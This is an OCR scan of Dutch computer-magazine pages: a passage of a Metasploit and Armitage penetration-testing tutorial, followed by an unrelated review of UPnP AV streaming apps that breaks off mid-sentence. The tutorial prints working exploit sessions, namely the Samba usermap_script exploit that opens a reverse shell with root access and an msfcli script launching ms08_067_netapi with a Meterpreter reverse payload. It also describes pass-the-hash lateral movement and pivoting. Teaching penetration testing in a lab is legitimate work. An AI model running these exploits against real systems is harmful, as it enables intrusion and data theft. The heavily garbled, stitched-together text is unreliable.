In de tweede stap gebruiken we het 
bovengenoemde iek in Samba en drlngen 
we zo het systeem binnen. Het Metasploit- 
framework biedt hiervoorde exploit ysermap_ 
script (zie softlink). 

Maar eerst moet je je afvragen wat er 
moet gebeuren nadat de exploit succesvol 
uitgevoerd is. fn ons geval wilten we het 
systeem via een shell benaderen om daar 
verdere besturingssysteemcommando's te 
kunnen draaien. Je hebt dus een payload 
nodig die dat plan succesvol kan onder- 
steunen. We hebben een afbeelding toe- 
gevoegd om inzichtelijkte maken hoe deze 
zogeheten reverse-payload werkt. De aan- 
valler met IP-adres 192.168.222.14 stuurt de 
exploitcode naar zijn 'doelwit'. Hier wordt 
de shellcode uitgevoerd en het lek in het 
systeem uitgebuit. De hlerna overgedragen 
reverse payload wordt uitgevoerd en opent 
een verbinding terug naar het aanvallende 


systeem. Het doelwit bouwt dus eigenlijk 
zelf een (payload-)verblnding met de aan- 
valler op. Om de datapakkerten te kunnen 
accepteren moet op het aanvallende sys¬ 
teem tegelijkertijd een listener op een ge- 
selecteerde port (hier 4444) worden gestart. 
Deze aanvalsmethode is handig als er een 
firewall gebruikt wordt. Die zijn namelijk 
vaak 20 geconfigureerd dat uitgaande ver- 
bindingen minder beperkingen opgelegd 
krijgen. 

Listing 5 laat de aanroep van de exploit 
en het succesvol uitvoeren van de payload 
zien. De benodigde invoer is in kleur weer- 
gegeven. Daarbij worden de volgende com¬ 
mando's gebruikt: 

use: selecteert de te gebruiken module 
show options; laat mogelijke parameters 
zien 

set: kent een waarde toe aan een variabeie 
exploit: start de exploit 

Hlerbij wordt de parameter RHOST gebruikt 
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VO or het doelsysteem en LHOST voor het 
aanvallende systeem* Als resultaat krijg je 
roottoegang tot het systeem* Daar kun je 
dan wlllekeurige besturingssysteemcom- 
mando's draaien. Met het commando whoami 
krijg je bijvoorbeeld op Unix-systemen de 
gebruikersnaam te zien van de gebroiker 
die het commando aanroept. 

Metasploit-client 

Met de Metasploit-client (msfcii) biedt het 
Metasploit-framework een krachtige com- 
mandfine-omgeving, Als je de optie -h ge- 
bruikt voor de helpfonctie, krijg je snel een 
overzicht van de opties. 

msfcii wordt vaak gebruikt bij het aan- 
nnaken van scripts. Met het volgende voor- 
beeld leggen we uit waarom dat handig is. 
Bij het gebruik van de Metasploit-console 
heb je wel gemerkt dat het configureren 
van exploits soms veef typwerk kost. Als je 
meerdere instellingen of payloads wilt tes¬ 
ter kan dat al snel lastig worden. Je kunt dit 
werk vermijden door de betreffende para¬ 
meters in een script te zetten en dat uit te 
voeren. Op die manier kun je een werkende 
configuratle beter opslaan en archiveren. 

Het script exploftsh {listing 7) maakt dit dui- 
delijk. Hierin worden eerst de betreffende 
parameters gedefinieerd en die worden 
dan in de laatste regel via msfdi uitgevoerd. 
Als resultaat wordt een Metasploit-console 
geopend. Daarin worden de parameters in- 
gesteld en wordt de exploit gestart Als de 
aanval op het doelsysteem succesvol wordt 
uitgevoerd, krijgt de aanvalter toegang tot 
het systeem via een Meterpreter-sessie. 
Dat is een Metasplolt-eigen meta-inter- 
preter met uitstekende mogelijkheden om 
het aangevallen systeem verder te onder- 
zoeken. In het tweede deel van deze tutorial 
zullen we dit verder uttleggen. 

Voor de volledigheld moeten we hier ook 
msfgui noemen. Dit is een in Java geschreven 
grafisch interface (GUI) die opgebouwd is 
volgens een client-serverstructuur Het ge¬ 
bruik daarvan wordt echter steeds verder 
teruggedrongen door Armitage. Dat is waar- 
schijnlijk de reden dat hij al niet meer in de 
menustructuur van Backtrack 5 zlt. Je kuot 
hem in de console aanroepen via /opt/ffame- 
work3/msf3/msfgui. 

Eerst wordt de service op het fokale sys¬ 
teem gestart door een gebruikersnaam en 
een wachtwoord in te voeren. Vervolgens 
kun je de grafische interface via het menu 
met Tile / Start new msfrpcd' gebruiken. fn 
de volgende voorbeelden werken we ech¬ 
ter vooral met de grafische interface Armi- 
tage. 

Andere Metasploit-GUI 

Security-engineer Raphael Mudge [3] heeft 
naast andere projecten de GUI Armitage 
voor het Metasploit-framework ontwikkeld. 
Op de Armitage-website [4] noemt hij het 
een Cyber Attack Management-tool voor 
Metasploit Mudge heeft naar eigen zeggen 


veel securityprofessionals ontmoet die niet 
wisten hoe ze Metasploit in hun werk moes- 
ten gebruiken. Dat bracht hem op het idee 
om een niet-commerciele GUI te ontwikke- 
len. Armitage moet helpen om het hacking- 
proces beter te begrijpen, Bovendien moet 
het IT-beveiligingsexperts de mogelijkheld 
geven om betere maatregelen te treffen 
om aanvallen af te weren en de infrastruc- 
tuur te beveiligen. Blijkbaar vond Mudge de 
mogelijkheden van de eerder ontwrkkelde 
gebruikersinterfaces niet voldoende om 
alle details van het penetratieproces weer te 
geven en een conttny overzicht van de actu- 
ele stand van zaken te garanderen. 

Armitage is met de In drie delen gesplits- 
te weergave ultermate geslaagd. Met een 
paar muisklikken kun je bijvoorbeeld ou- 
dere Nmap-scanresultaten bekljken en hou 
je steeds het overzicht over de laatste stand 
van de gekozen Metasploit-modules en de 
gecompromitteerde hosts. De herkende 
besturingssystemen worden aantrekkelajk 
weergegeven en het wordt makketijker ge- 
maakt om de afzonderlijke hosts te bena- 
deren. Armitage is ook handig als meerdere 
penetratietesters in een team samenwerken. 
De interface maakt het mogelijk snel te 
communiceren, data binnen een groep uit 
te wisselen en de verkregen sessies en shells 
gezamenlijk te gebruiken. 

Het penetratieproces 

De afbeelding hiernaast geeft een over¬ 
zicht van de mogelijkheden van Armitage 
in combinatie met het Metasploit-frame- 
work. Raphael Mudge heeft dit organigram 
gemaakt en voor dit artikel beschikbaar 
gesteld. Je moet het als een proces zien, 


waarbij niet altijd alle stappen doorlopen 
hoeven te worden. Bovendien kan een pro¬ 
ces in een penetratietest wiHekeurig vaak 
herhaald worden. 

Hieronder leggen we de afzonderlijke 
stappen en afhankelijkheden kort uit 

Stap 1: de activitelten In deze stap horen 
bij fase 2 van een penetratietest. In dit geval 
gaat het om maatregelen om informatie te 
verzamelen over de hosts in het netwerk- 
segment dat onderzocht gaat worden. 
Daarbij kan Armitage de scanner Nmap 
gebruiken of andere tools raadplegen die 
in het Metasploit-framework geintegreerd 
zijn. Bovendien kunnen reeds uitgevoerde 
poortscans worden geYmporteerd en verder 
gebruikt. Armitage kan de resultaten visua- 
liseren en in databases opslaan. Hierna wor¬ 
den de verzamelde gegevens geanalyseerd 
(fase 3). Hierbij neemt een penetratietester 
meestal de tijd om risico's in het network- 
segment In te schatten en eventude zwakke 
plekken te vinden, Daarnaast gebruiken ze 
ook andere commerclele en opensource 
tools. 

Stap 2 , 3 en 4: De volgende activiteiten 
zijn onderdeel van fase 4. Actieve aanvals- 
pogingen zijn de gevaarlijkste fase van het 
hele proces. Hler tonen Armitage en het 
Metasploit-framework hun krachten. Afhan- 
kelijk van welke poorten open staan, kun 
je exploits kiezen en die in deze stappen 
handmatig of automatisch ('Hail Mary ) toe- 
passen. Daarbij worden de mogelijkheden 
van Armitage goed benut en krijgen testers 
veelbelovende exploits voorgesteld. Boven¬ 
dien kunnen de testers gebruikersdata en 
wacbtwoordhashes die In de vorige fase 
werden ontdekt gebruiken om toegang tot 
de servers en clients te krijgen. 



Je kunt een penetratieproces als een kringloop zien. 
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, ra | Metnsploit 


msf auxfl[ary(smb_enumusers) > use e)£p[oit/mylti/samba/usermflp_sa1pt 
msf exploit(usermdp_5cript) > show options 

Module options (exploit/muLti/samba/ysemiap_saipt): 

l^ame Current Setting Required Destription 


Payload options (gene!ic/sheU_reverse_tcp): 


Name 

Current Setting 

Required Description 

LHOST 

LPORT 


yes The listen address 

yes The listen port 


RHOSI 
RPORT 139 


yes The target address 

yes The target port 


Exploit target: 


Exploit target: 

Id Name 

0 Automatic 

msf exploit(usermap_script) > set RHOST 192.168.222J 34 

RfiosT => 

msf explo]t(usermap_script) > set PAYLOAD generic/shell_reverse_tq) 
PAYIOAD => generic/shell_reverse_tcp 
msf exploir(ysermap_script) > show options 

Module options (exploit/mylti/samba/usennap_script): 


Name 

Current Setting 

Required Description 

RHOST 

192.168.222.134 

yes 

The target address 

RPORT 

139 

yes 

The target port 


Id Name 

0 Automatic 


msf exploit! usermap_script) > set LHOST 192.168.22114 

LHOST => 192.168.222.14 

msf exploit! usermap_saipt) > exploit 

[•] Started reverse handier on 192.168.222.14:4444 

[*] Command shell session 1 opened (192.168,222.14:4444 -> 

192.168.222.13433287) at im-O&in 15:15:39 -0400 

whoami 

root 

cd home 

Is 

ftp 

msfadmin 

service 

user 


Listing 5: Aanval in cfe Metasploit-console uitvoeren. 


root@bt:-# cd /opt/fra mework3/msf3/ 

root@bt:/opt/ffameworl{3/msf3# ,/msfcli -h 

Usage: ./msfcli <exploit_name> <option=value> [mode] 


#i/bin/sh 
M Doel 

rhost=''RHOST=192.168.222.12" 


Mode Description 


## Besturingssysteem = Windows XP SP2 Dutch !NX) 
target="targe!=29" 


!H}elp 

!S)ummary 

!0)ptions 

!A)dvanced 

!I)DS Evasion 

[P)ayload5 

[T)arget5 

[AC}Tions 

(Qheck 

[E)xeait€ 


YouTe looking at it baby! 

Show information about this module 
Show available options for this module 
Shovv available advanced options for this module 
Show available ids evasion options for this module 
Show available payloads for this module 
Show available targets for this exploit module 
Show available actions for this auxiliary module 
Run the check routine of the selected module 
Execute the seteaed module 


## Exploit-parameters instellen 

exp loit=''exp loit/wi ndo ws/smb/msOB _067_netapi'' 

payloa d^"P AYLOAD^ wi ndows/m eterpreter/reve rse__tcp'’ 

#1 Parameters voor de listener 
lhost=LHOST=192.168.222.14" 
lpott=lPORT=443" 

ifl Exploit uitvoeren in Metasploit 

cd /opt/framework3/msf3/ 

./msfdl $exploit $payload $rhost $target Slhost $lport E 


Listing 6: De client-help van Metasploit gebruiken. 


Listing 7: Simpel script om een exploit uit te voeren. 
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De zogenaamde 'Client Side Attacks' richten 
zich op de pc van een gebruiker Deze zijn 
handig als de servers door firewalls en an- 
dere maatregelen beveiligd zijn* In dit geval 
slaat de aanvaller een andere weg in en pro- 
beert via de gebruikers binnen het bedrijf 
alsnog het gewenste doe I te bereiken* Vaak 
blijken een pc of notebook van een gebrui- 
ker of de daarop opgeslagen gegevens de 
entreekaart naar een netwerk. 

Stap 5: Als je op een server of cHent-pc 
gebruikersrechten hebt gekregen, kun je 
met Armitage en het M eta sp loft-frame work 
proberen deze uit te breiden en systeem- of 
rootrechten te krijgen* 

Stap 6 %n 7: Als je deze rechten hebt 
kun Je de uitgelezen wachtwoordhashes 
gebruiken zonder dat je het ongecodeerde 
wachtwoord kent en zo toegang knjgen tot 
andere hosts in het domein. In veel gevallen 
worden gebruiker-pc's met een image aan- 
gemaakt waarop fdentieke accountgege- 
vens opgeslagen staan. Zo kun je geleidelljk 
alle aanwezige systemen binnenkomen en 
belangrijke gegevens stelen. 

Stap 8: Als het onderzochte netwerk met 
een ander netwerk verbonden is en som- 
mige clients of servers beide netwerken 
tegelijkertijd kunnen benaderen, zal een 
aanvaller proberen om de gecompromit- 
teerde host als spring plank naar het andere 
netwerk te gebruiken. Deze pc of server 
werkt dan als gateway om bijvoorbeeld 
poortscans in het netwerk door te voeren en 
de daar aanwezige lekken te vinden en uit 
te buiten* Daarmee is de drkel rond en ben 
je weer bij stap 1. 

Condusie 

Penetratietests zijn een handig middel om 
bedrijfsnetwerken te testen en lekken te 
verwijderen voordat cybercriminelen ze 
kunnen misbruiken- Naast commerciele 
producten wordt daar de opensource tool¬ 
kit Metaspioit bij gebruikt. Deze modulair 
opgebouwde tool beschikt over verschil- 
lende gebruikers!nterfaces, waarmee je hem 
flexibel kunt inzetten. De grafische interface 
Armitage ondersteunt alle facetten van het 
penetratieproces. 

In het volgende deel behandelen we de 
opbouw van Armitage, Aan de hand van 
voorbeelden zullen we laten zien hoe de GUI 
in samenwerking met het Metasplolt-frame- 
work in de fase van het verzamelen van in- 
formatie en voor actieve aanvalspogingen in 
netwerken gebruikt kan worden* (mjaj 

Literatuur 

[1] lnfo over Metaspioit www.metasploit.corn/ 
learn-more 

[2] Lek in Samba-server cve.mitre.org/cgi-bin/ 
c ve na me.cg f ?n a m e^C VE-2 007-2447 

[3] Website van Raphael Mudge ww.hick.org/ 
'-raffi 

[4] Website voor Armitage www.fa stand easy hac 
king.com 



De MetasplotKonsole kun je in BackTrack 5 makkelijk via het menu aanroepen. 



192.168.222.14 192.168.222,134 


Als de exploit slaagt, maakt het doelwiteen verbinding terug naar de aanvaller 
(reverse payload)* 


Hd 


41* 

bstfv 

dl^Lup 

freebsd 

tipuK 

Iri* 

linu* 

netware 

051 

Solaris 

unl* 

windows 
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browser 


iUefamiJt 


ftp 


handler 



inlic 

> 

ntp 


php 


reaJserver 

* 

samba 

> 

SWk 


wyse 



axIsl^depLoyer 

a)[is2_ciepl«ye r_re¥t 

free na« w 
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tofncat_mgr_deploy 


Error getting session Ilstmsfgul.l^ifEwcepEloni Stream died, 


^97 3SB auicJJIary 2.24 payinad 54 past modules 


Softlink num 


Een in Java gerealiseerde Metasploit'GUI. 
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op eengrote tv wilt 
toveren, wordt op de 
achtergrond vaak UPnP 
AVgebruikt. 


H et wordt steeds lasti- 
ger om een tv zonder 
netwerkaansluiting te 
krijgen* Hiermee kun je online 
content weergeven en tegelfjk 
foto's, muziek en films u!t het 
lokale netwerk afspelen, Het is 
allang niet meer zo dat daarvoor 
de pc in de studeer- of hobby- 
kamer kamer aan ho eft te staan 
om afs server te fungeren. Hoe- 
wel dat zeker ook een mogelijk- 
heid is, zijn er tegenwoordig ook 
genoeg stifle en zuinige net- 
werkschijven die media 24 uur 
per dag kunnen aanbieden en 
ook veel routers kunnen media 
deten die via usb zijn aange- 
sloten, Voor de communicatie 
gebruiken de apparaten in dat 
geval UPnP AV of de DLNA-stan- 
daard van de Digital Living Net¬ 
work Alliance, al ondersteunt die 
laatste vrij welnrg formaten. 

Universal Plug and Play 
Audio/Video - kortweg UPnP 
AV - bestaat In prmcipe uit drie 


componentenr de server {de 
aanbieder van de content), een 
Tenderer (het afspeelapparaat) 
en een control point (voor de 
aansturing). In de praktijk wor- 
den drSe toepassingsvarian- 
ten het meest gebruikt. Bij de 
klassleke vorm van streaming 
wordt gebruikgemaakt van een 
streamingclient met control 
point en tenderer In een appa- 
raat De medlacontent word! 
door het apparaat opgeroepen 
en de server heeft alleen een 
passieve rol a Is dataleverancier. 

De tweede variant komt 
meestal voor bij mobiele ap¬ 
paraten. Hierbij worden het 
control point en de server met 
elkaar gecombineerd en wordt 
de medlacontent als 'beam' naar 
de passieve Tenderer gestuurd - 
meestal een tv-scherm. Foto's of 
video's die je met je smartphone 
hebt gemaakt, kun je zo heel 
eenvoudig via je thuisnetwerk 
op het g rote re tv-scherm weer¬ 


geven. Je hoeft de content dus 
niet meer eerst te synch ronise- 
ren of kopieren naar je pc. 

Bij de derde variant beper- 
ken de mobiele apparaten zich 
tot de aansturing en funge¬ 
ren ze dus alleen als een soort 
afstandsbedlentng: de media 
wordt dan van een passieve ser¬ 
ver in je huis - bijvoorbeeld een 
pc of netwerkschijf - naar het af¬ 
speelapparaat gestreamd. Zodra 
de weergave is gestart* kun je je 
mobieltje of tablet rustig aan de 
kant leggen. 

Veel smartphonefabrikan- 
ten benutten de voordelen van 
draadloze medlastreaming via 
UPnP AV en leveren hun toestel- 
len met dit soort apps uit Of het 
nou gaat om AllShare (Samsung), 
SmartShare (LG) of de 'Mediaser- 
ver'-functie van Sony-Ericsson: 
in de basis maken ze allemaal 
gebruik van UPnP AV. De functie- 
omvang van deze toe pas sin gen 
laat soms echter te wensen over, 


zodat extra apps voor een oplos- 
sing moeten zorgen* 

Als je een Android-mobieitje 
hebt loont een blik in de An¬ 
droid Market dat diverse aiterna- 
tieven voor UPnP-AV-streamIng 
aanbiedt. Apple-apparaten on- 
dersteunen van huis uit strea¬ 
ming via AirPlay, maar dat wordt 
momenteel alleen door de Apple 
TV gebruikt. Maar ook voor iOS- 
apparaten zijn in de App Store 
veel apps te vinden om met Ap¬ 
ples apparaten via UPnP AV te 
kunnen beamen en streamen. 

We hebben 24 apps voor iOS 
en Android onder de loep geno- 
men. Daarbij hebben we eens 
gekeken hoe goed ze in onze 
testomgeving met verschillende 
servers en tenderers uit de voe- 
ten kondea Als afs peel apparaten 
gebruikten we onder meer twee 
smart-tv’s met een internetver- 
binding, de Philips 42PFL7606H 
en Samsungs UE46D7000 (zie 
c't 11/2011, p.54). Daarnaast 
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gebruikten we nog de Western 
Digitals streamingdient WD TV 
Live Hub (met UPnP-AV-onder- 
steuning) en een notebook met 
Windows Media Player 12, die via 
UPnP AV ook als afspeelapparaat 
kan fungeren. WMP staat Stan- 
daard op elk systeem met Win¬ 
dows 7 geTnstalleerd. Om de ren- 
dererfunctie teactiveren, moetje 
eerst onder de knop Streamen' 
een vinkje zetten bij 'Externe be- 
sturmg van mijn speler toestaanl 
Ook de optie eronder ('Apparaten 
automatisch,..te spelen') moet 
geactiveerd zije. 

Als server gebruikten we 
eve nee ns Windows Media Player 
12, maar ook TwonkyMedia-ser~ 
ver op de NAS en pc en de UPnP- 
AV-share van een AVM Fritzbox 
7390, De apps moesten de ser¬ 
vers in het netwerk kunnen her- 
kennen, de mediacontent van 
de servers afspelen en streamen 
naar de afspeelapparaten. Daar- 
naast hebben we gekeken in 
hoeverre media van het mobiele 
apparaat direct naar de afspeel- 
stations kon worden gebeamd. 
Als mobiele testa pparaten ge¬ 
bruikten we Samsungs Nexus S, 
de Galaxy Tab en Acers IconiaTab 
A500 met Android 3.0. Voor iOS 
hadden we verschiilende versies 
van een iPad en iPod touch. 

Hieronder presente re n we 
slechts een selectie van de ge- 
teste apps. Een compleet over- 
zicht staat in de tabel aan het 
emd van ditartikel. 


SPlayer 


_ ^ De 4 euro kostende 
I ^ SPlayer ziet er op de 
iPad en IPhone opgeruimd uit. De 
bedfeningsinterface heeft vloel- 
ende animaties. Via de drie me¬ 
nu's voor foto's, films en muziek 
krijg je toegang tot de beschik- 
bare UPnP-AV-servers. Op de iPad 
worden maphierarchieen tot drie 
niveaus weergegeven, op de 
iPhone en iPod touch heb je 
hooguit twee niveaus, De content 
kan zeer snel worden doorzocht. 

Via het pijitje linksonder in 
de hoek krijg je toegang tot de 
afspeelapparaten die via UPnP 
AV beschikbaar zijn. Momenteef 
kan er per keer naar maar Mn 
apparaat worden gestreamd. De 
content op je mobiele apparaat 
kan dan niet worden afgespeeld. 
Als je als afspeelapparaat het 
fOS-apparaat zelf selecteert, kun 
je de weergegeven content ook 
via Airplay naar een Apple-tv 
streamen. 


De gemtegreerde DRM-controle 
is wat irritant: als deze optie in 
de instell ingen geactiveerd is, 
weigert SPlayer sommige video- 
bestanden af te spelen. Je kont 
deze functie uitschakeien in het 
browserdeel van het insteJIlngs- 
menu. 

alVledia Control 

De alleen voor Android 

verkrijgbare app aMedia 
Control is afkomstig van net- 
werkspecialisl Sitecom. De ge- 
bruikersinterface is simpel: de 
weergaveketen be staat uit een 
server en een bijbehorend af¬ 
speelapparaat en wordt bij elke 
start stapsgewijs opgebouwd. 
Eerst kies je een van de beschik- 
bare medtabronnen en daarna 
selecteer Je de gewenste con¬ 
tent By de tweede stap worden 
alle beschikbare Tenderers ge- 
toond. 

Om content direct op het mo- 
biele apparaat af te spelen, kies 
je eerst de standaard player van 
het systeem met de naam van 
het apparaat Als je in de keuze- 
lijst 'Selecteer externe app' act!- 
veert, dan kun je ook een alter- 
natieve player-app gebruiken. 

Zodra de weergave op het af¬ 
speelapparaat start, switcht de 
app naar de playermodus, Deze 
weergave is geoptlmaliseerd 
voor kleinere smartphones, 
waardoor het er op het display 
van grotere Android-apparaten 
wat verloren ultziet. Je kunt 
met aMedia Control geen lo- 
kale media naar externe afspeel¬ 
apparaten beamen, Tijdens het 
streamen van sommige media- 
formaten traden wat vage pro- 
blemen op. Niet ondersteunde 
bestandsformaten werden niet 
gewoonweg genegeerd, maar 
aMedia Control raakte verstrikt 
in een loop. Pas na het een paar 
keer automatisch opnieuw star- 
ten van de app kwam hij daaruit 

ArkMC 

— De naam Arkuda Media 

V r Center - kortweg ArkMC - 
roept assoclaties op met de 
grote mediacenters op de pc. In 
werkelijkheid is de app slechts 
een vrij Spartaanse UPnP-jong- 
leur Een server selecteren was 
geen probleem, maar de ArkMC 
had behoorlijk wat moeite met 
onze aangeboden players - vi¬ 
deo's waren ulteindelijk maar 
naar twee van de vijf afspee!sta¬ 
tions te streamen. 



Bont maar overzichtelijk: SPlayer irriteert in eerste instantie met 
een standaard DRM-controle, 


ArkMC start voor het beamen 
van lokale content een eigen 
UPnP-AV-server. De app zoekt 
dan in bepaalde mappen op 
het Android-apparaat, die je als 
gebruiker niet kunt bewerken. 
Als media niet op de plek staan 
waar ArkMC ze verwacht wor¬ 
den ze genegeerd, Als je de op- 
namen van je smartphonecame- 
ra niet in een van deze mappen 
kunt zetten, hebje dus pech. 

AwoX mediaCTRL 

AwoX mediaCTRL is een 
eenvoudige, maar vrij 
krachtige UPnP-AV-app. Je kunt 
in de sobere bedieningsinter- 
face switch en tussen een Tende¬ 
rer-, server- en afs peel weergave. 
Alle UPnP-AV-componenten van 
ons testnetwerk werden snel 
herkend. De AwoX mediaCTRL 
blijft ook streamen als je naar 
een ander afspeelapparaat 
switcht. Zo kun je een audio- 
stream naar een apparaat sturen 
en dan switchen naar een ande- 
re player om een film te laten af¬ 
spelen. Zelfs in ons vrij grote 
testnetwerk bereikte de content 
op die manier snel alle afspeel- 
stations. 

BubbieUPnP 

if/T: Ook BubbieUPnP kan te- 
geJijkertiJd meerdere 
streams naar verschiilende appa- 
raten sturen. Onder het menu 
'Devices' rechtsonder staat een 
lijst van alle herkende UPnP-ser- 
vers en -Tenderers in het lokale 
netwerk. Hier worden ze door 
BubbieUPnP aan elkaar gekop- 
peld, daarna doorzoekje de ser¬ 


ver via library' en stuur je de 
clients aan via 'Now Playing', 
BubbieUPnP heeft een eigen 
Playlist-beheer waarmee je een 
selectie van muziek of video's 
kunt maken. Hferbij kan content 
zelfs op verschiilende servers 
Staan - in de app zelf worden ze 
a is gesloten a fs peel lijst gezien en 
[okaal opgeslagen. Handig: met 
'Library Search' kun je de biblio- 
theek van een UPnP-AV-server 
op trefwoorden doorzoeken. 

Dixim DMC 

” ^ De jOS-app Dixim 

f J DMC is afkomstig 

van stream! ngspeciaiist DigiOn 
en is In aangepaste versies voor 



BubbieUPnP laat alle beschik¬ 
bare UPnP-AV-servers en -ren- 
derers in het netwerk overzich- 
telijk zien. 
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ZappoTV heeft ook toegang tot portals als YouTube en dergelijke. Je kunt 
video's eerst op de iPad bekijken en ze vervolgens naar de tv streamen. 


EyeconTroKer geeft op de iPad in portretstand aile 
UPnP-AV-componenten zeer overzichtelijk weer. 


de iPad en iPhone verkrijgbaar. 
In de bedieningsbalk onderin 
kun je de renderer(s) en server(s) 
in het netwerk afzonderlijk be- 
naderen. Het wordt ingewikkel- 
der als je de lokale content van 
het iOS-apparaat witt streamen. 
Omdat de app geen directe toe- 
gang tot de media op het appa- 
raat heeft, moet je ze eerst om- 
slachtig kopieren. Vervolgens 
komen ze in de downloadmap 
van de app terecht en kunnen 
dan van daaruit worden ge- 
streamd* Helaas komen er op 
deze manier ook dubbele 
mediabestanden in het geheu- 
gen te staan. Op de lokale player 
van de iPad kun je films alleen 
direct bekijken als je via de 
mediacatalogus bij de informa- 
tie van het afzonderlijke bestand 
bent gekomen. Op deze If de plek 
kun je ook media van externe 
UPnP-AV-servers downloaden. 


EyeconTroller 




De gratis Eye- 
• -i? conTroller-app 

voor Android en iOS biedt dui- 
delijk meer dan de pure UPnP- 
AV-oplossingen. Na een eenma- 
lige registratie kun je hem 
gebruiken om je eigen media- 


content van Face book en Picasa 
naar het scherm te streamen. Te- 


gelijkertijd dient hij als YouTube- 
station, waarvoor je eenmalig Je 
account aan EyeconTroller moet 
koppelen. Dat kan direct op het 


mobieie apparaat of - handiger 
- via het accountbeheer op de 
website Eyeconxom. De Flickr- 
ondersteuning kon niet worden 
geactiveerd omdat de Eyecon- 
signature volgens de fotodienst 
niet meer geldig was. 

De iPad biedt in portretstand 
een bijzonder goed overzicht 
over alle content. In de vierko- 
loms weergave zie je alle servers, 
de lokale content en de pi aye r- 
bediening met afspeellijst Het 
previewvenster bovenin kan de 
mediacontent tonen voordat je 
die via drag&drop naar de play¬ 
list sleept. Als je de leukste con¬ 
tent met een sterretje markeert, 
komen ze falj de favorieten te 
staan. De EyeconTroller draait op 
de iPad wat viotter dan op appa- 
raten met Android. Toen we een 
bestand uit de playlist wilden 
verwijderen (door er langer op 
te drukken), crashte de app op 
alle Android-apparaten. 

iMedia Share Premium 

Met de app iMedia Share 
’ ■ voor Android heb je mak- 
kelijk toegang tot verschillende 
video porta Is. De lay-out daarvan 
is afgekeken: de portals verse hi j- 
nen als pictogrammen die er net 
zo uitzien als de apps op een lOS- 
apparaat. De in totaal 39 aanbie- 
decs zijn met name afkomstig uit 
Amerika {CNet, Engadget of Revi¬ 
sions), maar er staan ook een 
aantal Duitse bij zoals die van 


opiniebiad Spiegel of van boule- 
vardkrant Bild. HD-kanalen wor¬ 
den aangegeven met de extra 
letters HD in het pictogram. Het 
is ook mogelijk je Facebook-ac- 
count te koppelen, zodat je ook 
bij je video's en foto's kunt die je 
op de communitysite hebt staan. 

In het bovenste gedeelte kon 
je de lokale media van je An- 
droid-toestel oproepen. Druk je 
op 'My fSfetwork', dan krijg je de 
besc h i kb a re U Pn P- AV- re so u rces 
in het netwerk te zien. (Media 
Share stelt lokale media in het 
V\/LAN beschikbaarzonderdatje 
een aparte share hoeft op te zet- 
ten. Je persoonlijke media zijn 
op die manier dus ook in open- 
bare netwerken te zien. Be a men 
gaat vanuit de aangeboden 
videoportals en vanuit het lokale 
media-arch ief. De WD TV Live 
Hub Wilde als enige geen video 
afspelen. iMedia Share is een van 
de weinige Android-apps uit de 
test die ook via AirPlay naar een 
Apple TV beamt. Hierbfj ben je 
dan we I beperkt tot de form ate n 
die door Apples TV-box worden 
ondersteund, 

MediaConnect 

1 ^ Van MediaConnect 
I voor iOS bestaat een 

gratis versie waarbij maar drie 
entries in de afspeellijst staan en 
reclame wordt weergegeven. We 
hebben de 6 euro kostende 
Advanced Edition getest. 

De player en server worden 
overzichtelijk weergegeven. De 
ontwikkelaars hebben de servers 


echter onder het kopje 'PlayeT 
gezet en omgekeerd, de play¬ 
ers staan dus onder ‘Server’. Een 
groter probleem doet zich voor 
bij de lokale media: met Media¬ 
Connect voor de iPhone/iPod 
touch kun je er probleemloos bij, 
maar met de app voor de iPad 
mislukte dat. Alle mediacatego- 
rieen warden wel getoond, maar 
bleven leeg - toch stond er heel 
wat content op onze (Pad. 

MediaConnect biedt onder 
het menu Settings een aantal bij- 
zonderheden: videoformaten die 
door het iOS-apparaat standaard 
worden ondersteund, kunnen 
direct door de klassieke video¬ 
player worden afgespeeld. An- 
dere formaten lopen echter via 
de player die in MediaConnect 
zelf is geVntegreerd. Alleen iOS- 
compatibele formaten kunnen 
op die manier via AirPlay ook op 
de Apple TV worden afgespeeld. 


MLPlayer 

^ De Media Link Player 
I - kortweg MLPlayer - 

is in de door ons geteste volledige 
versie alieen geoptlmaliseerd 
voor het display van de iPhone en 
de iPod touch - voor de iPad is de 
software alleen verkrijgbaar in 
een zeer beperkte Ute-versie. 

De 4 euro kostende volle¬ 
dige versie vond alle servers in 
de test meteen. Het gewenste 
a fs peel station moet je echter 
wat omsiachtiger in het instel- 
lingsmenu vastleggen. Je kunt 
lokale content pas na eenmallge 
synchronisatie met het lokale 
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PlugPlayer 
gebruikt op 
de iPad de 
volledige 
breedte van 
het scherm 
en zet het 
preview- 
venster en 
het appara- 
tenoverzicht 
naast elkaar 


media-archtef versturen. Bij de 
instdlingen van de MLPlayer 
kun je daarbij instellen of je al- 
leen de muziek via de geinte- 
greerde UPnP-AV-server wilt 
delen of ook foto's en video's. 
Je hebt er wel wat geduld voor 
nodig: de MLPlayer was met een 
bescheiden muziekbibliotheek 
van ongeveer 100 nummers al 
een half uur bezig. De lokale 
foto's versehenen na een langere 
wachttijd eveneens in de index 
van de server, video's konden 
niet worden gedeeld. 

De geVntegreerde playlist- 
functie is uitsluitend beperkt tot 
muziek. Die mag dan wel van 
verschillende servers in het net- 
werk komen. 

Plug Player 

,i5i« * C PlugPlayer be- 
^ fVf^-^hoort tot de 
mobiele UPnP-pioniers en is 


zowel voor Android als voor iOS 
verkrijgbaan Op de iPad valt de 
bedieningsinterface het meest 
In de smaak* De app geeft in de 
tandscapemodus dan namelijk 
in een oogopslag zowel de be- 
diening als het navigatrege- 
deelte weer. De functies op de 
versch il lende besturi ng ssyste- 
men zijn met uiizondering van 
de AirPlay-ondersteuning van de 
iOS-versie identiek, 

De player iaat alle UPnP- 
AV-apparaten in het netwerk 
overzichtelijk zien. Met een tap 
activeer je de gewenste com- 
ponenten. De app biedt geen 
lokale server om de media op 
het mobiele apparaat te delen- 
De lijst van UPnP-AV-apparaten 
dreigt snel over te lopen omdat 
ook de servers er op blijven 
staan die ooit gevonden zijn. 
Als je in een ander netwerk zit, 
worden ze alleen grijs. Je kunt 
ze handmatig verwijderen door 


er wat ianger met je vinger op 
te drukken [Android] of erover 
te vegen (iOS). De app kan als 
enige een UPnP-AV-component 
handmatig configureren door 
het !P-adres in te voeren. 

Het browsen in mediabestan- 
den verloopt viot, de geYnte- 
greerde playlrstfunctie beheert 
willekeurige medfatypen van 
meerdere servers, De player 
geeft met een klein symbooitje 
aan elk mediabestand aan of 
een bestand op het geselecteer- 
de afspeelapparaat kan worden 
weergegeven. Minder geslaagd 
zijn de cryptische optles In het 
app-gedeelte van het instel- 
lingsmenu onder iOS, Je zult 
echt op internet moeten kijken 
om te achterhalen wat ze bete- 
kenen. 

Skifta betaversie 

Met Skifta installeer je een 
' chique UPnP-AV-app op je 
